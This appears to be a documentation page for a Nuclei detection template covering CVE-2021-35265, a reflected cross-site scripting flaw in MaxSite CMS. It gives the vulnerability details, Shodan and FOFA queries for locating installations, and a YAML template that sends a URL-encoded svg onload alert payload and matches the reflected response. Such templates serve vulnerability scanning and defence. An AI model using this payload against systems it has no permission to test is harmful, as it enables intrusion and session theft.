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MaxSite CMS > V106 - Cross-Site Scripting

ID: CVE-2021-35265

Severity: medium

Author: pikpikcu

Tags: cve2021,cve,maxsite,xss

Description

Section titled “Description”

A reflected cross-site scripting vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page.”

YAML Source

Section titled “YAML Source”
id: CVE-2021-35265


info:
  name: MaxSite CMS > V106 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    A reflected cross-site scripting vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page."
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of MaxSite CMS or apply the vendor-provided security patch to mitigate the XSS vulnerability (CVE-2021-35265).
  reference:
    - https://github.com/maxsite/cms/issues/414#issue-726249183
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35265
    - https://github.com/maxsite/cms/commit/6b0ab1de9f3d471485d1347e800a9ce43fedbf1a
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-35265
    cwe-id: CWE-79
    epss-score: 0.00141
    epss-percentile: 0.4979
    cpe: cpe:2.3:a:maxsite:maxsite_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: maxsite
    product: maxsite_cms
    shodan-query:
      - html:'content="MaxSite CMS'
      - http.html:'content="maxsite cms'
    fofa-query: body='content="maxsite cms'
  tags: cve2021,cve,maxsite,xss


http:
  - method: GET
    path:
      - '{{BaseURL}}/page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E'
      - '{{BaseURL}}/page/1%22%3E%3Csvg/onload=alert(document.domain)%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><svg/onload=alert(document.domain)>'


      - type: word
        part: body
        words:
          - 'mso-comments-rss">RSS</a>'
          - 'MaxSite CMS'
          - 'feed"><span>RSS</span>'
        condition: or


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a0046304402201d7fa96b7c5ff37d380a8b439c8bfcc2d9132bcbc4556438c5827a6d354d11db02200b23810a8edd21ef79c6c6b5d175eabf0b0f026d407c0144b94e6da54024e7b1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-35265.yaml"

View on Github